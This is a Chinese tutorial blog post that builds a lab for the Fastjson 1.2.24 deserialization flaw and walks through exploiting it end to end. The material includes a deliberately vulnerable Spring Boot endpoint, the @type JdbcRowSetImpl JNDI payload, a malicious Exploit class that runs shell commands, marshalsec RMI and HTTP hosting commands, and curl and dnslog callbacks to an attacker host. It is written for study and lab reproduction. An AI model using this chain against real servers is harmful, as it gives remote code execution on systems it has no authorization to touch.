从零搭建Fastjson 1.2.24反序列化漏洞靶场:原理、实战与深度避坑

发布时间:2026/6/26 16:40:52
从零搭建Fastjson 1.2.24反序列化漏洞靶场:原理、实战与深度避坑 1. 项目概述为什么我们要亲手搭建Fastjson 1.2.24靶场在安全研究或渗透测试的学习路上我们总会听到各种漏洞的大名Fastjson的反序列化漏洞绝对是Java安全领域里一个绕不开的经典案例。尤其是1.2.24版本的这个“元老级”漏洞它几乎成了检验一个安全研究者对Java反序列化理解深度的“试金石”。网上相关的分析文章和复现教程很多但如果你只是跟着别人的教程在现成的靶场里点几下鼠标输入几行命令你可能永远也搞不清楚背后到底发生了什么更别提在真实、复杂的环境下遇到问题时该如何应对了。这就是我决定从零开始完整搭建一个Fastjson 1.2.24漏洞靶场的原因。这个过程远不止是“复现”一个漏洞那么简单。它意味着你需要亲手配置一个存在漏洞的Java Web环境理解Fastjson是如何解析JSON字符串的搞清楚JNDI注入的整个链路还要自己搭建恶意的RMI/LDAP服务。在这个过程中你会踩遍几乎所有新手都会踩的坑依赖冲突、版本不对、代码编译错误、网络不通、环境配置诡异……而解决这些问题的过程恰恰是知识从“知道”到“会用”的关键一跃。所以这篇内容不仅仅是一份操作手册更是一份融合了实战踩坑经验的避坑指南。我会带你从准备一台干净的虚拟机开始一步步搭建后端服务、编写漏洞代码、构造利用链直到最终成功弹出计算器。无论你是刚入门Web安全的新手还是想深入理解Java反序列化的开发者相信这个亲手“造轮子”的过程会让你对Fastjson漏洞有脱胎换骨的认识。2. 靶场环境搭建构建一个纯净的漏洞实验室搭建靶场的第一步是创建一个隔离、可控且可重复的实验环境。我强烈建议使用虚拟机而不是在你的主力开发机上直接操作。这里我选择Ubuntu 20.04 LTS作为基础系统它比较稳定软件源也丰富。2.1 基础系统与Java环境部署首先我们需要安装Java开发环境。Fastjson 1.2.24是一个相对古老的版本它主要兼容Java 8。虽然更高版本的Java也可能运行但为了避免不必要的兼容性问题我们直接安装OpenJDK 8。sudo apt update sudo apt install openjdk-8-jdk maven git -y安装完成后通过java -version和javac -version确认版本为1.8。Maven是我们管理项目依赖的核心工具。接下来我们创建一个简单的Spring Boot Web应用作为我们的靶场载体。Spring Boot能快速搭建一个可运行的Web服务让我们专注于漏洞本身而不是Servlet容器的配置。使用Spring Initializr或者手动创建都可以我这里为了清晰手动创建一个最小化的结构。创建项目目录fastjson-vuln-demo并建立标准的Maven项目结构。关键的pom.xml文件需要引入两个核心依赖有漏洞的Fastjson 1.2.24 和 Spring Boot Web Starter。?xml version1.0 encodingUTF-8? project xmlnshttp://maven.apache.org/POM/4.0.0 xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd modelVersion4.0.modelVersion groupIdcom.vuln.labgroupId artifactIdfastjson-vuln-demoartifactId version1.0-SNAPSHOTversion packagingjarpackaging parent groupIdorg.springframework.bootgroupId artifactIdspring-boot-starter-parentartifactId version2.3.12.RELEASEversion parent properties java.version1.8java.version properties dependencies dependency groupIdorg.springframework.bootgroupId artifactIdspring-boot-starter-webartifactId dependency dependency groupIdcom.alibabagroupId artifactIdfastjsonartifactId version1.2.24version dependency dependencies build plugins plugin groupIdorg.springframework.bootgroupId artifactIdspring-boot-maven-pluginartifactId plugin plugins build project注意Spring Boot版本的选择这里我选择了2.3.12.RELEASE这是一个与Java 8兼容性较好且不算太旧的版本。不要使用Spring Boot 3.x它要求Java 17也要谨慎使用2.7.x或2.6.x等较新版本它们可能内置了更高版本的Jackson或其它JSON处理器可能与Fastjson产生冲突或行为差异。选择一个老一点的稳定版本能减少环境变量。2.2 编写存在漏洞的接口环境准备好后我们来编写一个存在Fastjson反序列化漏洞的HTTP接口。漏洞的触发点通常在于使用了JSON.parseObject()或JSON.parse()方法并且参数中包含了攻击者可控的type属性该属性指定了要反序列化的类。我们在src/main/java/com/vuln/lab下创建主应用类VulnApplication.java和一个控制器VulnController.java。VulnApplication.java:package com.vuln.lab; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; SpringBootApplication public class VulnApplication { public static void main(String[] args) { SpringApplication.run(VulnApplication.class, args); } }VulnController.java:package com.vuln.lab.controller; import com.alibaba.fastjson.JSON; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RestController; RestController public class VulnController { PostMapping(/fastjson) public String parseJson(RequestBody String data) { try { // 漏洞点直接解析用户传入的JSON字符串未做任何过滤 Object obj JSON.parse(data); return Parsed successfully: obj.getClass(); } catch (Exception e) { return Parse error: e.getMessage(); } } }这个接口非常简单它接收一个POST请求请求体是JSON字符串然后直接调用JSON.parse()进行解析。这里就是我们的漏洞入口。使用PostMapping注解明确这是一个POST接口更符合真实场景中接收JSON数据的API设计。编写完成后在项目根目录下执行mvn clean package进行编译打包。如果一切顺利会在target目录下生成一个fastjson-vuln-demo-1.0-SNAPSHOT.jar文件。使用java -jar target/fastjson-vuln-demo-1.0-SNAPSHOT.jar启动应用默认会在8080端口监听。实操心得依赖冲突排查这是搭建过程中最容易出问题的一步。你可能会遇到各种ClassNotFoundException或NoSuchMethodError。首先检查你的Maven本地仓库~/.m2/repository里下载的Fastjson 1.2.24的jar包是否完整。最彻底的办法是删除整个com/alibaba/fastjson目录让Maven重新下载。其次使用mvn dependency:tree命令查看依赖树确认没有其它依赖比如Spring Boot自带的Jackson引入了更高版本的Fastjson导致版本被覆盖。如果存在冲突可以在pom.xml的Fastjson依赖里加上 来排除传递性依赖。3. 漏洞原理深度解析type与JNDI注入的致命组合在成功启动靶场后我们先不急于攻击而是必须搞清楚Fastjson 1.2.24到底为什么会被攻破。知其然更要知其所以然这样才能举一反三。3.1 Fastjson反序列化机制与type属性Fastjson在反序列化时有一个非常关键的特性autoType。当解析JSON字符串时如果字符串中包含了type这个属性Fastjson就会尝试根据type指定的全限定类名去实例化这个类的对象并将JSON中的数据填充到对象属性中。例如一个正常的JSON{name:test, age:20}经过JSON.parseObject(jsonString, User.class)会被反序列化为一个User对象。 而一个恶意的JSON可能是{type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:ldap://attacker.com/exp, autoCommit:true}。当Fastjson 1.2.24在默认配置下遇到这个JSON时它会看到type属性值为com.sun.rowset.JdbcRowSetImpl。利用Java的反射机制尝试加载并实例化这个类。将后续的键值对视为该对象的属性调用对应的setter方法进行赋值。这里就会调用setDataSourceName(“ldap://attacker.com/exp”)和setAutoCommit(true)。问题就出在JdbcRowSetImpl这个类上。它是Java标准库rt.jar中的一个类用于数据库连接。它的setAutoCommit()方法在内部会尝试使用dataSourceName去建立连接。如果dataSourceName是一个LDAP或RMI URL它就会触发JNDI查询。3.2 JNDI注入的攻击链路JNDIJava Naming and Directory Interface是Java的一个API用于访问命名和目录服务比如LDAP、RMI、DNS等。JNDI注入漏洞的核心在于JNDI可以动态加载远程的类。完整的攻击链路如下攻击者搭建一个恶意的RMI或LDAP服务器该服务器会响应客户端的查询并返回一个指向攻击者HTTP服务器的引用该引用指向一个编译好的恶意Java类文件.class。受害者应用我们的靶场使用有漏洞的Fastjson版本反序列化了攻击者构造的包含恶意type和dataSourceName的JSON。触发在反序列化过程中JdbcRowSetImpl被实例化setAutoCommit(true)被调用该方法内部发起一个JNDI查询去连接dataSourceName指定的地址即攻击者的RMI/LDAP服务器。加载恶意类受害者应用从攻击者的RMI/LDAP服务器获取到指向恶意类的引用然后从攻击者的HTTP服务器下载并加载这个恶意类。代码执行恶意类在静态代码块或构造函数中包含了攻击代码如Runtime.getRuntime().exec(“calc”)在类被加载时立即执行。这个链路成功的关键在于Java版本。在Java 8u121、7u131、6u141之前的版本中JNDI默认支持从远程地址加载类。在此之后的版本中Oracle增加了com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.ldap.object.trustURLCodebase等安全属性默认值变为false禁止从远程Codebase加载类从而在很大程度上缓解了此类攻击。这也是为什么我们靶场环境必须使用早期JDK版本如8u102的原因。深度思考为什么是JdbcRowSetImpl因为它是一个存在于基础JDK中的类无需额外依赖它的setAutoCommit方法会触发JNDI查询且参数可控。这是安全研究者找到的一条“完美”的利用链Gadget Chain。类似的链还有基于TemplatesImpl的利用但那条链构造更复杂对依赖有要求。JdbcRowSetImpl这条链因其通用性和简洁性成为了Fastjson 1.2.24漏洞最经典的利用方式。4. 攻击环境准备搭建恶意RMI与HTTP服务理解了原理我们就需要模拟攻击者的环境。我们需要两个服务器一个恶意的RMI服务器用于响应JNDI查询和一个HTTP服务器用于托管恶意类文件。4.1 编译并启动恶意RMI服务器我们使用一个广泛流传的、开源的JNDI注入利用工具例如marshalsec。它可以帮助我们快速启动一个恶意的RMI服务器。首先我们需要下载并编译marshalsec。git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译过程可能需要几分钟。成功后在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar文件。接下来我们编写一个最简单的恶意类Exploit.class。这个类的唯一作用就是在被加载时执行命令。我们将其编译成class文件。Exploit.java:public class Exploit { static { try { // 这里以Linux系统为例弹出计算器命令是gnome-calculatorWindows下可改为calc Runtime.getRuntime().exec(new String[]{/bin/bash, -c, gnome-calculator}); } catch (Exception e) { e.printStackTrace(); } } }使用javac Exploit.java进行编译得到Exploit.class。现在我们启动marshalsec提供的RMI服务器并让它指向我们托管恶意类的HTTP服务器地址。假设我们攻击者机器的IP是192.168.1.100HTTP服务器将运行在8088端口。java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.1.100:8088/#Exploit 1099这条命令的含义是启动一个监听在1099端口的RMI服务器。当有客户端我们的靶场应用连接它并查询时它会返回一个引用告诉客户端去http://192.168.1.100:8088/下载名为Exploit的类。4.2 启动HTTP服务器托管恶意类我们需要在一个能被靶场虚拟机访问到的位置启动一个简单的HTTP服务器来提供刚刚编译好的Exploit.class文件。使用Python可以快速完成。在存放Exploit.class文件的目录下执行python3 -m http.server 8088这样一个简单的HTTP文件服务器就在8088端口启动了。确保防火墙规则允许此端口的访问。避坑指南网络连通性与地址问题这是复现失败的最高频原因务必仔细检查。IP地址上述命令中的192.168.1.100必须替换为你运行RMI服务器和HTTP服务器的物理机攻击机在虚拟机网络中的真实IP。如果靶场虚拟机使用NAT模式主机IP可能不是这个。在Linux主机上可以用ip addr或ifconfig查看Windows上用ipconfig查看。虚拟机需要能ping通这个IP。端口开放确保1099RMI和8088HTTP端口在主机防火墙上是开放的或者直接临时关闭主机防火墙进行测试。虚拟机网络模式建议将虚拟机网络设置为“桥接模式”Bridged这样虚拟机和主机就在同一个局域网段像两台真实机器一样互访能避免很多NAT模式下的网络怪问题。命令执行路径Runtime.getRuntime().exec在某些复杂环境下如路径包含空格、需要终端可能执行失败。我们的示例中使用了new String[]{“/bin/bash”, “-c”, “gnome-calculator”}来显式指定shell和命令在Ubuntu桌面环境下更可靠。如果测试环境没有图形界面可以换成touch /tmp/success这样的命令来验证执行成功。5. 漏洞复现实战构造Payload并发起攻击万事俱备只欠东风。现在靶场在运行8080端口恶意RMI服务器在运行1099端口HTTP文件服务器在运行8088端口。是时候发起攻击了。5.1 构造攻击Payload我们的目标是通过向靶场的/fastjson接口发送一个POST请求请求体是一个精心构造的JSON字符串触发反序列化漏洞。根据前面的原理分析我们需要构造一个JSON其type指定为com.sun.rowset.JdbcRowSetImpl并设置dataSourceName为我们的恶意RMI服务器地址同时设置autoCommit为true。完整的Payload如下{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://192.168.1.100:1099/Exploit, autoCommit:true }请注意dataSourceName的值是rmi://[你的RMI服务器IP]:1099/Exploit。后面的/Exploit是marshalsec命令中指定的引用名需要保持一致。5.2 使用CURL发送攻击请求我们可以使用curl命令来发送这个POST请求。在攻击者机器或同一网络内能访问靶场的任何机器上执行curl -X POST http://靶场虚拟机IP:8080/fastjson \ -H Content-Type: application/json \ -d {type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://192.168.1.100:1099/Exploit,autoCommit:true}如果一切配置正确你应该会观察到curl命令可能返回一个“Parsed successfully”的响应或者因反序列化后对象转换异常而返回一个错误信息这没关系漏洞触发点在反序列化过程中不在后续处理。在运行恶意RMI服务器的终端你会看到有来自靶场虚拟机的连接日志。在运行靶场应用的终端你可能会看到一些关于JNDI查询的异常堆栈如javax.naming.CommunicationException等这是正常过程的一部分。最关键的一步如果靶场虚拟机是有图形界面的Ubuntu你应该会看到计算器程序被成功弹出这证明我们的恶意代码Runtime.getRuntime().exec(“gnome-calculator”)已经成功在靶场服务器上执行。5.3 无回显命令执行的验证在实际的渗透测试或漏洞验证中目标服务器通常没有图形界面弹出计算器是不可见的。我们需要一种方式来验证命令是否真的执行了。一个常见的方法是执行一个能产生外部网络交互或内部状态变化的命令。DNSLog验证让靶场服务器向一个由我们控制的域名发起DNS查询。我们可以使用公开的DNSLog平台如dnslog.cn获取一个临时子域名然后在Payload中执行ping或curl命令访问这个子域名。如果平台收到DNS解析记录则证明命令执行成功。修改Exploit.java中的命令为Runtime.getRuntime().exec(new String[]{“/bin/bash”, “-c”, “ping -c 1 your-subdomain.dnslog.cn”})HTTP请求验证让靶场服务器向我们的HTTP服务器发起一个HTTP请求。我们可以在HTTP服务器Python的http.server的访问日志中看到记录。修改命令为Runtime.getRuntime().exec(new String[]{“/bin/bash”, “-c”, “curl http://192.168.1.100:8088/”})或使用wget。文件操作验证在靶场服务器上创建一个文件。这是最直接的方式但需要你能登录到靶场服务器去检查。修改命令为Runtime.getRuntime().exec(new String[]{“/bin/bash”, “-c”, “touch /tmp/fastjson_pwned”})。攻击后登录靶场虚拟机检查/tmp/fastjson_pwned文件是否存在。实操心得Payload编码与Content-Type在真实攻击中Payload可能需要通过Web表单或其他方式提交有时会遇到特殊字符如双引号被转义的问题。一个技巧是将整个JSON Payload进行Base64或URL编码。另外确保请求头Content-Type: application/json被正确设置否则Spring Boot可能无法正确解析请求体。如果使用浏览器插件或Burp Suite等工具重放请求要特别注意这一点。6. 深度排查与常见问题解决实录即使按照步骤操作第一次复现就成功的人也是少数。下面我整理了在搭建和复现过程中我自己和学员们最常遇到的“坑”及其解决方案。6.1 漏洞未触发无任何反应症状发送Payload后靶场应用无任何异常日志RMI服务器无连接计算器没弹出。排查思路检查Fastjson版本这是最可能的原因。确认你的pom.xml中Fastjson版本确实是1.2.24并且通过mvn dependency:tree确认没有其他依赖引入更高版本的Fastjson覆盖它。高版本Fastjson默认关闭了autoType支持。检查Java版本在靶场应用启动时通过日志确认Java版本是8u121/7u131/6u141 之前的版本。可以使用java -version详细查看。如果版本过高JNDI远程加载类功能被默认禁用。解决方案是安装指定低版本JDK如8u102并确保JAVA_HOME和PATH指向它。检查网络连通性这是第二大常见原因。从靶场虚拟机ping你的攻击机IP运行RMI服务的机器确保能通。同时在攻击机上用nc -zv [靶场IP] 8080测试靶场应用的8080端口是否开放。检查Payload格式确保JSON格式完全正确没有多余的空格或换行符除非做了处理。特别是type和dataSourceName的拼写。可以先用一个简单的{“name”:”test”}测试接口是否正常工作。检查RMI服务确认marshalsec的RMI服务器是否成功启动在1099端口netstat -tlnp | grep 1099。启动命令中的HTTP地址和端口必须与托管Exploit.class的HTTP服务器地址一致。6.2 RMI服务器有连接但命令未执行症状RMI服务器终端显示收到了来自靶场的连接但恶意HTTP服务器没有收到下载Exploit.class的请求或者收到了请求但命令没执行。排查思路检查HTTP服务器确认Python的HTTP服务器8088端口正在运行并且Exploit.class文件就在启动HTTP服务器的当前目录下。访问http://你的IP:8088/Exploit.class应该能直接下载该文件。检查恶意类编译确认Exploit.java是用与靶场环境相同或更低版本的JDK编译的。用高版本JDK编译的class文件可能在低版本JVM上无法加载。最好就在靶场虚拟机用的JDK 8环境下编译。检查命令本身你的Exploit.class中的命令可能在目标环境上不存在或执行失败。例如在无图形界面的服务器上执行gnome-calculator肯定会失败。换成创建文件、发送HTTP/DNS请求等通用性更高的命令进行测试。查看靶场应用日志靶场应用在尝试加载远程类时可能会抛出ClassNotFoundException,NoClassDefFoundError或安全相关的异常如AccessControlException。仔细查看Spring Boot应用启动后的控制台日志里面通常包含了详细的错误信息。6.3 遇到奇怪的异常或错误com.alibaba.fastjson.JSONException: autoType is not support原因你使用的Fastjson版本高于1.2.25或者虽然是1.2.24但通过代码或配置手动关闭了autoType支持。解决绝对确保依赖是1.2.24。检查代码中是否有ParserConfig.getGlobalInstance().setAutoTypeSupport(false);这样的语句。java.lang.ClassNotFoundException: com.sun.rowset.JdbcRowSetImpl原因这个类存在于rt.jar中通常不会找不到。如果出现可能是极端情况下的类加载器问题或者你错误地写错了类名。确保类名拼写完全正确。javax.naming.CommunicationException: Could not obtain connection to any of these urls原因靶场应用无法连接到你的RMI服务器地址。这是典型的网络问题。按照6.1中的网络连通性检查步骤处理。Spring Boot应用启动失败报端口占用或其他依赖错误原因8080端口可能被其他程序占用或者Maven依赖下载不完整。解决用lsof -i:8080或netstat -tlnp | grep 8080查看端口占用情况终止占用进程或修改application.properties中的server.port配置。对于依赖问题删除~/.m2/repository中对应的依赖目录重新执行mvn clean compile。6.4 进阶排查工具与技巧使用Burp Suite或Postman代替curl发送请求可以更方便地修改和重放Payload查看原始请求和响应。开启详细日志在Spring Boot的application.properties中添加logging.level.com.vuln.labDEBUG可以打印更详细的控制器层日志。在恶意类中添加日志修改Exploit.java在静态代码块中除了执行命令也向一个文件或标准输出打印一行日志便于确认类是否被加载。public class Exploit { static { try { System.out.println([] Exploit class loaded!); Runtime.getRuntime().exec(...); } catch (Exception e) { e.printStackTrace(); } } }编译后观察靶场应用的控制台输出如果它有输出到控制台的话。使用Wireshark抓包如果你对网络协议比较熟悉可以在攻击机或靶场虚拟机上使用Wireshark抓包过滤tcp.port 1099或tcp.port 8088直观地看到JNDI查询和HTTP下载class文件的网络流量这是最权威的验证方式。整个复现过程就像一次精密的外科手术任何一个环节的微小失误都可能导致失败。但正是通过解决这些问题你才会对Fastjson反序列化、JNDI注入、Java类加载机制、网络通信有刻骨铭心的理解。这份避坑指南希望能帮你扫清障碍把注意力集中在漏洞原理本身。当你最终看到计算器弹窗或者/tmp/success文件被创建的那一刻你会觉得这一切的折腾都是值得的。